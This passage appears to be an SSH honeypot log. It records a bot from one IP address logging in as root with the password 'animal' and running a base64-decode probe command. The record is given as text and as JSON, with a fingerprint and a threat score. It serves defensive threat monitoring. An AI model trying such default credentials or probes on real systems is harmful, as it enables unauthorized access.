      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:16:25.796047 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / animal

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: f4cfe322901b

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "f4cfe322901b",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:16:25.796047Z",
  "end_time": "2026-07-21T05:16:27.136023Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "animal"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}